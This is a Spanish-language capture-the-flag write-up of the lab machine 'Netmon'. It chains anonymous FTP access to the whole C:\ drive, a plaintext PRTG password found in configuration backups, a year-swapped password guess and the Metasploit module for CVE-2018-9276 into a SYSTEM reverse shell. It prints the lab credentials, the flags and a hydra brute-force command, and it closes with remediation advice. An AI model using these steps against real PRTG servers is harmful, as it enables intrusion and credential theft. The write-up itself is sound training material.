Entrada

Netmon

Un FTP anónimo con acceso a todo el disco regala la flag de usuario y los backups de configuración de PRTG, donde aparece la contraseña con un patrón por años; cambiando 2018 por 2019 se entra al panel, y PRTG 18.1.37 cae por el RCE autenticado CVE-2018-9276 ejecutándose ya como SYSTEM.

Netmon

Publicado por Jaime Hereza Niño

Publicado 27/10/2026
11 min de lectura
Mi puntuación
63674 votos
MáquinaSODificultadIP
NetmonWindowsEasy10.129.230.176

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.230.176 netmon netmon.htb

Resumen

Netmon es una máquina de dificultad fácil… y de las que dejan mal sabor de boca. No hay técnica que admirar: hay un FTP anónimo que te deja leer todo el disco, y un software de monitorización que guarda la contraseña de administrador en un fichero de backup accesible desde ese mismo FTP.

La flag de usuario se recoge sin explotar nada: basta conectarse por FTP como anonymous y descargarla. Para root, se leen los backups de configuración de PRTG Network Monitor, donde aparece una contraseña con un patrón por años tan descuidado que basta cambiar 2018 por 2019 para entrar al panel.

Una vez dentro, la versión de PRTG arrastra un RCE autenticado (CVE-2018-9276) y, como el servicio corre como SYSTEM, no hay ni que escalar: el exploit entrega directamente el control total. Un caso de manual de malas configuraciones más que de hacking.

Vulnerabilidad

Tres descuidos encadenados que van de lo malo a lo peor.

01 · FTP anónimo con acceso a todo el sistema de ficheros

El servicio FTP del puerto 21 permite entrar como anonymous y, lo que es grave, su directorio raíz es C:\. Cualquiera puede recorrer el disco entero: leer la flag de usuario en el escritorio público y, sobre todo, los backups de configuración de PRTG en C:\ProgramData\Paessler\.

02 · Credenciales en los backups de PRTG + patrón predecible

Los ficheros de configuración de PRTG Network Monitor guardan la contraseña de la base de datos en claro — PrTg@dmin2018 — junto al usuario prtgadmin. La contraseña del panel web está cifrada, pero el patrón canta: la del año siguiente es PrTg@dmin2019. Reutilizar una contraseña con solo el año cambiado tira por tierra todo el cifrado.

03 · RCE autenticado en PRTG 18.1.37 — CVE-2018-9276

La versión 18.1.37.13946 de PRTG es vulnerable a inyección de comandos en el sistema de notificaciones: un administrador autenticado puede crear una notificación de tipo «Execute Program» cuyo parámetro no se sanea, logrando ejecución de comandos. Como el servicio corre como NT AUTHORITY\SYSTEM, el RCE es directamente una shell con el máximo privilegio.

Reconocimiento

Caja negra: barrido completo de puertos, pidiendo de paso la detección de sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess netmon
PuertoServicio
21ftp
80http
135msrpc
139netbios-ssn
445microsoft-ds
5985winrm
47001winrm

Un 21 de FTP, un 80 de web, el habitual SMB/RPC de Windows y WinRM en 5985/47001. El sistema es un Windows Server 2016.

Escaneo completo de puertos y detección de sistema operativo
Figura 1: Escaneo completo de puertos y detección de sistema operativo

Enumeración

Afino versión sobre los puertos abiertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 21,80,135,139,445,5985,47001 -sCV --version-intensity 9 -n netmon
21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-03-19 12:18AM 1024 .rnd | 02-25-19 10:15PM <DIR> inetpub |_... 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-title: Welcome | PRTG Network Monitor (NETMON) |_http-server-header: PRTG/18.1.37.13946
Enumeración de versiones de los servicios
Figura 2: Enumeración de versiones de los servicios
Scripts de nmap sobre SMB
Figura 3: Scripts de nmap sobre SMB

Dos cosas enormes en la misma salida. Una, el ftp-anon: el FTP acepta login anónimo. Dos, el puerto 80 es un PRTG Network Monitor 18.1.37.13946. Lo confirmo con whatweb

┌──(jaime㉿kali)-[~]└─$ whatweb http://netmon.htb
http://netmon.htb [302 Found] HTTPServer[PRTG/18.1.37.13946], PRTG-Network-Monitor[18.1.37.13946,PRTG], RedirectLocation[/index.htm]
PRTG detectado por whatweb
Figura 4: PRTG detectado por whatweb

Wappalyzer añade al fabricante — Paessler — y un fuzzing de rutas descubre una /api/ protegida y el flujo de login

Tecnologías del panel PRTG
Figura 5: Tecnologías del panel PRTG
┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://netmon.htb/
Rutas descubiertas en el panel
Figura 6: Rutas descubiertas en el panel
┌──(jaime㉿kali)-[~]└─$ nikto -h http://netmon.htb --Tuning 23
Escaneo de nikto
Figura 7: Escaneo de nikto

Un banner grabbing con nmap remacha las versiones de FTP y PRTG

┌──(jaime㉿kali)-[~]└─$ nmap -sV --script=banner netmon.htb
Banner grabbing de los servicios
Figura 8: Banner grabbing de los servicios

y la propia web, en el pie de página, me regala la versión exacta de PRTG — un dato que vale oro para buscar exploits

Versión de PRTG en el pie del panel
Figura 9: Versión de PRTG en el pie del panel

Explotación

FTP anónimo — la flag de usuario sin esfuerzo

Lo primero, aprovechar el FTP anónimo. Me conecto como anonymous (cualquier contraseña vale) y descubro que el raíz es C:\ entero

┌──(jaime㉿kali)-[~]└─$ ftp anonymous@netmon
Login anónimo con acceso a todo C:\
Figura 10: Login anónimo con acceso a todo C:\

Navego hasta el escritorio público del usuario y ahí está la primera bandera, que descargo sin más

ftp> cd Users\Public\Desktop ftp> get user.txt
user.txt en el escritorio público, listo para descargar
Figura 11: user.txt en el escritorio público, listo para descargar
┌──(jaime㉿kali)-[~]└─$ cat user.txt
45df05b9d0bffdb960df04afdb07bc1b
Lectura de la flag de usuario
Figura 12: Lectura de la flag de usuario

El panel de PRTG — tanteando la entrada

Para root necesito el panel web. Pruebo las credenciales por defecto de PRTG, prtgadmin:prtgadmin

Credenciales por defecto documentadas de PRTG
Figura 13: Credenciales por defecto documentadas de PRTG

pero no cuelan

El login con credenciales por defecto falla
Figura 14: El login con credenciales por defecto falla

El botón de «Forgot password?» me da una enumeración de usuarios de regalo: con un usuario inexistente como peter responde «Sorry, this account is unknown»…

Usuario inexistente: cuenta desconocida
Figura 15: Usuario inexistente: cuenta desconocida

…pero con prtgadmin dice que ha enviado un correo, confirmando que esa cuenta sí existe

prtgadmin existe: «email enviado»
Figura 16: prtgadmin existe: «email enviado»

Con el usuario confirmado, intento una fuerza bruta con hydra contra el endpoint de login, pero va lentísima y no llega a nada

┌──(jaime㉿kali)-[~]└─$ hydra -l prtgadmin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt netmon.htb http-post-form "/public/checklogin.htm:username=^USER^&password=^PASS^:F=Your login has failed"
Fuerza bruta con hydra: sin éxito
Figura 17: Fuerza bruta con hydra: sin éxito

Los backups de configuración — la contraseña servida

El camino de verdad vuelve al FTP. PRTG guarda sus backups de configuración en una ruta fija: C:\ProgramData\Paessler\PRTG Network Monitor. Navego hasta ahí

Navegación hasta la carpeta de PRTG en ProgramData
Figura 18: Navegación hasta la carpeta de PRTG en ProgramData

y me encuentro dos backups antiguos: PRTG Configuration.old y PRTG Configuration.old.bak. Los descargo

Backups de configuración descargados por FTP
Figura 19: Backups de configuración descargados por FTP

Son XML enormes, así que filtro por lo que me interesa. Un grep localiza todas las etiquetas <password>

┌──(jaime㉿kali)-[~]└─$ grep -n "password" "PRTG Configuration.old"
Todas las etiquetas de contraseña en el backup
Figura 20: Todas las etiquetas de contraseña en el backup

Abriendo el .old.bak con less y buscando /password, aparece el premio: la contraseña de la base de datos en claro, con el usuario comentado al lado

┌──(jaime㉿kali)-[~]└─$ less "PRTG Configuration.old.bak"
<dbpassword> <!-- User: prtgadmin --> PrTg@dmin2018 </dbpassword>
dbpassword en claro: PrTg@dmin2018
Figura 21: dbpassword en claro: PrTg@dmin2018

Ojo: esa es la contraseña de la base de datos interna, no la del panel web. La del panel aparece más adelante, pero cifrada con el formato propio de PRTG (parece base32 pero no decodifica limpio)

La contraseña del panel, cifrada con crypt=
Figura 22: La contraseña del panel, cifrada con crypt="PRTG"
┌──(jaime㉿kali)-[~]└─$ echo "JO3Y7LLK7IBKCMDN3DABSVAQO5MR5IDWF3MJLDOWSA======" | base32 -d
base32 no basta: el cifrado es específico de PRTG
Figura 23: base32 no basta: el cifrado es específico de PRTG

Existe un descifrador específico para estos hashes de PRTG

┌──(jaime㉿kali)-[~]└─$ git clone https://github.com/yobabyte/decryptocollection
Herramienta para descifrar contraseñas de PRTG
Figura 24: Herramienta para descifrar contraseñas de PRTG

pero la solución es mucho más tonta. La contraseña de la BDD es PrTg@dmin2018, y el backup es de 2018; la máquina está en 2019, y el admin simplemente cambió el año. Así que pruebo prtgadmin:PrTg@dmin2019 en el panel… y entra. Reutilizar la contraseña cambiando solo el año es, sencillamente, criminal.

RCE autenticado — CVE-2018-9276

Ya con sesión de administrador, la versión 18.1.37.13946 arrastra el CVE-2018-9276: inyección de comandos en el sistema de notificaciones. En lugar de pelearme con el PoC a mano, tiro del módulo de Metasploit, configuro las opciones (credenciales y objetivo) y lo lanzo

msf> use exploit/windows/http/prtg_authenticated_rce msf> set RHOSTS netmon.htb msf> set ADMIN_PASSWORD PrTg@dmin2019 msf> set LHOST 10.10.15.95 msf> run
[+] Successfully logged in with provided credentials [+] Created malicious notification (objid=2020) [+] Triggered malicious notification [*] Meterpreter session 1 opened
RCE autenticado: sesión Meterpreter como SYSTEM
Figura 25: RCE autenticado: sesión Meterpreter como SYSTEM

PRTG corre como NT AUTHORITY\SYSTEM, así que el exploit no me deja un usuario cualquiera: me deja directamente con el máximo privilegio, sin escalada de por medio. Abro una shell y leo la última bandera

meterpreter> shell C:\WINDOWS\system32> whoami nt authority\system C:\> type C:\Users\Administrator\Desktop\root.txt 421e8d9b543a60691949116d11ad60b8
Shell como SYSTEM y lectura de la flag de root
Figura 26: Shell como SYSTEM y lectura de la flag de root

Flags

La de usuario, descargada por FTP del escritorio público

┌──(jaime㉿kali)-[~]└─$ cat user.txt
45df05b9d0bffdb960df04afdb07bc1b

Y la de root, tras el RCE como SYSTEM

C:\> type C:\Users\Administrator\Desktop\root.txt 421e8d9b543a60691949116d11ad60b8

Cómo se arregla

Netmon no se cae por un fallo de software, sino por una cadena de malas configuraciones. Por capas:

  • Cerrar el FTP anónimo: y, desde luego, no servir C:\ como raíz. El acceso anónimo a todo el disco es el fallo que lo desencadena todo; con desactivarlo, ni se lee la flag ni se llega a los backups.
  • Proteger los backups de configuración: los ficheros de PRTG con credenciales no deben ser accesibles desde un servicio público. Permisos restrictivos sobre C:\ProgramData\Paessler cortan la fuga.
  • Contraseñas únicas y sin patrones: cambiar solo el año (2018 → 2019) es tan malo como no cambiarla. Credenciales largas, aleatorias y rotadas de verdad.
  • Actualizar PRTG: la versión 18.1.37 es vulnerable a CVE-2018-9276. Parchear a una versión corregida elimina el RCE autenticado.
  • Mínimo privilegio para el servicio: que PRTG corra como SYSTEM convierte cualquier RCE en compromiso total. Ejecutarlo con una cuenta de servicio limitada reduce el impacto.

Conclusiones

Muy mala máquina, el tema de sacar la contraseña por la cara, configuraciones malisimas y 0 divertida, no recomendable

Esta entrada está licenciada bajo CC BY 4.0 por el autor.